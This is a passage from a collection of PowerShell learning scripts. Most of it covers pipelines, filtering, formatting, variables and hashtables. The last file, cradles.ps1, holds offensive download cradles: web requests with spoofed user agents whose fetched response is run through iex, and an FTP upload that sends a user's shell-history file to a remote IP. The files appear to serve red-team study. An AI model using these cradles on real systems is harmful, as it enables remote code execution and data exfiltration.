| Select-Object -Property @{name = 'ProcName'; expression = {$_.Name}} | Test-Pipeline 11 | By Name 12 | #> 13 | function Test-Pipeline { 14 | [CmdletBinding(DefaultParameterSetName = 'Default')] 15 | Param ( 16 | # Process Name 17 | [Parameter(Mandatory = $true, 18 | ParameterSetName = 'Name', 19 | ValueFromPipelineByPropertyName = $true, 20 | Position = 0)] 21 | [string] 22 | $ProcName, 23 | 24 | # Process Object 25 | [Parameter(Mandatory = $true, 26 | ParameterSetName = 'Object', 27 | ValueFromPipeline = $true, 28 | Position = 0)] 29 | [Diagnostics.Process] 30 | $InputObject 31 | ) 32 | 33 | Begin { } 34 | Process { 35 | switch ($PSCmdlet.ParameterSetName) { 36 | 'Name' { 37 | Write-Host -Object "Got from pipeline by name $($ProcName)" 38 | } 39 | 'Object' { 40 | Write-Host -Object "Got from pipeline by value $($InputObject.Name)" 41 | } 42 | } 43 | } 44 | End { } 45 | } 46 | 47 | 48 | Get-Process | Test-Pipeline 49 | 50 | Get-Process | Select-Object -Property @{name = 'ProcName'; expression = {$_.Name}} | Test-Pipeline 51 | 52 | # Filtering Objects 53 | 54 | Get-Service | where-object { $_.Status -eq "Running" } 55 | 56 | # Filtering Objects PSv3+ 57 | 58 | Get-Service | Where-Object -Property Status -eq -Value Running 59 | 60 | Get-Service | Where-Object Status -eq Running 61 | 62 | # Selecting objects 63 | 64 | Get-Process | Sort-Object workingset -Descending | Select-Object -Index 0,1,2,3,4 65 | 66 | Get-Process | Sort-Object workingset -Descending | Select-Object -Index (0..4) 67 | 68 | Get-Process | Sort-Object workingset -Descending | Select-Object -first 5 69 | 70 | Get-Process | Select-Object -Property name,@{name = 'PID'; expression = {$_.id}} 71 | 72 | # Iterating ofver objects 73 | 74 | foreach ($n in (1..5)) {"Processed $($n)"} 75 | 76 | 1..5 | ForEach-Object {"Processed $($_)"} 77 | 78 | 1..5 | ForEach-Object -Begin { $Sum = 0 } -Process { $Sum += $_ } -End { $Sum } 79 | 80 | # Skipping in interation 81 | 82 | 1..10 | foreach-object { if (($_ -gt 4) -and ($_ -lt 9)) { return }; $_ } 83 | 84 | foreach($n in (1..10)){ if (($n -gt 4) -and ($n -lt 9)) { continue }; $n } 85 | 86 | 87 | # Meassuring objects 88 | 89 | Get-Service | Measure-Object 90 | 91 | Get-Content C:\Windows\WindowsUpdate.log | Measure-Object -Line -Word -Character 92 | 93 | Get-Process | Measure-Object -property workingset -minimum -maximum -average 94 | 95 | # Group Objects 96 | 97 | Get-Service | Group-Object status 98 | 99 | 100 | # Formating 101 | 102 | Get-Process -name explorer | Format-Table -Property name, startinfo, starttime, workingset -AutoSize 103 | 104 | Get-Service | Format-Table -Property name, displayname, status, servicetype -Wrap 105 | 106 | Get-Process -Name explorer | format-list -Property * 107 | 108 | # Converssion 109 | 110 | Get-Process -Name lsass | ConvertTo-Csv 111 | 112 | Get-Process -Name lsass | ConvertTo-Html 113 | 114 | Get-Process -Name lsass | ConvertTo-Xml 115 | 116 | Get-Process -Name lsass | ConvertTo-Json 117 | -------------------------------------------------------------------------------- /Source Files/basics_pssnapin_modules.ps1: -------------------------------------------------------------------------------- 1 |  -------------------------------------------------------------------------------- /Source Files/basics_variables.ps1: -------------------------------------------------------------------------------- 1 | $var1 = 1 2 | 3 | ${this is a variable with speci@l char} = 10 4 | 5 | # Variable Cmdlets 6 | 7 | Get-Command *variable* -CommandType Cmdlet 8 | 9 | Get-Variable 10 | 11 | New-Variable -Name var2 -Value "hello" -Description "Sample string variable" 12 | 13 | Set-Variable -Name var3 -Value 3 14 | 15 | Get-Variable -Name var2 | Format-List * 16 | 17 | # Variable PSDrive 18 | Get-ChildItem variable: 19 | 20 | $PSHOME 21 | 22 | Get-Content Variable:\PSHOME 23 | 24 | 25 | # Dynamic Variables 26 | 27 | $var1 = 1 28 | $var1.GetType().Name 29 | 30 | 31 | $var1 = "string" 32 | $var1.GetType().Name 33 | 34 | 35 | # Casting or hard typing a variable 36 | [int32]$var2 = 10 37 | $var2 = "hello" 38 | 39 | 40 | # Strings 41 | Write-Host "one line `n another line" 42 | 43 | Write-Host 'I can have $ symbol' 44 | 45 | write-host "My culture is $(Get-Culture | select -ExpandProperty name)" 46 | 47 | # working with string as an object 48 | Get-Member -InputObject “” -MemberType method 49 | $str = "my string" 50 | 51 | $str.Contains("my") 52 | 53 | $str.Replace("my","the") 54 | 55 | 56 | # Arrays 57 | 58 | $a1 = 1,"a",2.8 59 | $a2 = @(2,"b",-30) 60 | 61 | $a2[2] 62 | 63 | Get-Member -InputObject @() -MemberType method 64 | 65 | $a2.Length 66 | 67 | $a3 = $a1 + $a2 68 | 69 | $a3 += "PS" 70 | 71 | 72 | # Hash 73 | 74 | $h1 = @{"dc01" = "192.168.10.1" ; "exch01" = "192.168.10.2" ; "HV01" = "192.168.10.4"} 75 | 76 | $h1["hv01"] 77 | 78 | $h1.dc01 79 | 80 | 81 | Get-Member -InputObject @{} 82 | 83 | $h1.ContainsKey("HV01") 84 | 85 | $h1.ContainsValue("192.168.1.1") 86 | 87 | $h1.Add("loki","102.168.1.6") 88 | -------------------------------------------------------------------------------- /Source Files/cradles.ps1: -------------------------------------------------------------------------------- 1 | $webClient = New-Object System.Net.WebClient 2 | $webClient.Headers.Add("user-agent", 3 | "Windows-RSS-Platform/2.0 (MSIE 9.0; Windows NT 6.1)") 4 | 5 | $proxy = [System.Net.WebRequest]::GetSystemWebProxy() 6 | $proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials 7 | $webClient.Proxy = $proxy 8 | 9 | $webClient.UploadFile("ftp://192.168.1.152/bashhistory.txt", "C:\Users\Carlos\bashhistory.txt") 10 | 11 | $h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://www.tenable.com',$false);$h.send(); 12 | 13 | $obj = New-Object -ComObject Microsoft.XMLHTTP 14 | 15 | 16 | $proxy = [System.Net.WebRequest]::GetSystemWebProxy() 17 | 18 | $proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials 19 | 20 | $webRequest.Proxy = $proxy 21 | 22 | $webRequest = [System.Net.WebRequest]::Create("http://www.tenable.com") 23 | $webRequest.UserAgent = "Windows-RSS-Platform/2.0 (MSIE 9.0; Windows NT 6.1)" 24 | $response = $webRequest.GetResponse() 25 | ([System.IO.StreamReader]($response.GetResponseStream())).ReadToEnd() 26 | 27 | 28 | 29 | 30 | $h=new-object -com WinHttp.WinHttpRequest.5.1; 31 | $h=New-Object -ComObject Msxml2.XMLHTT 32 | $h=New-Object -ComObject Microsoft.XMLHTTP 33 | $h.open("GET", "http://www.tenable.com",$false) 34 | # User Agent can be modified. 35 | $h.SetRequestHeader("User-Agent", "Evil PS Cradle") 36 | $h.send() 37 | iex $h.responseText 38 | 39 | "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 40 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0)" --------------------------------------------------------------------------------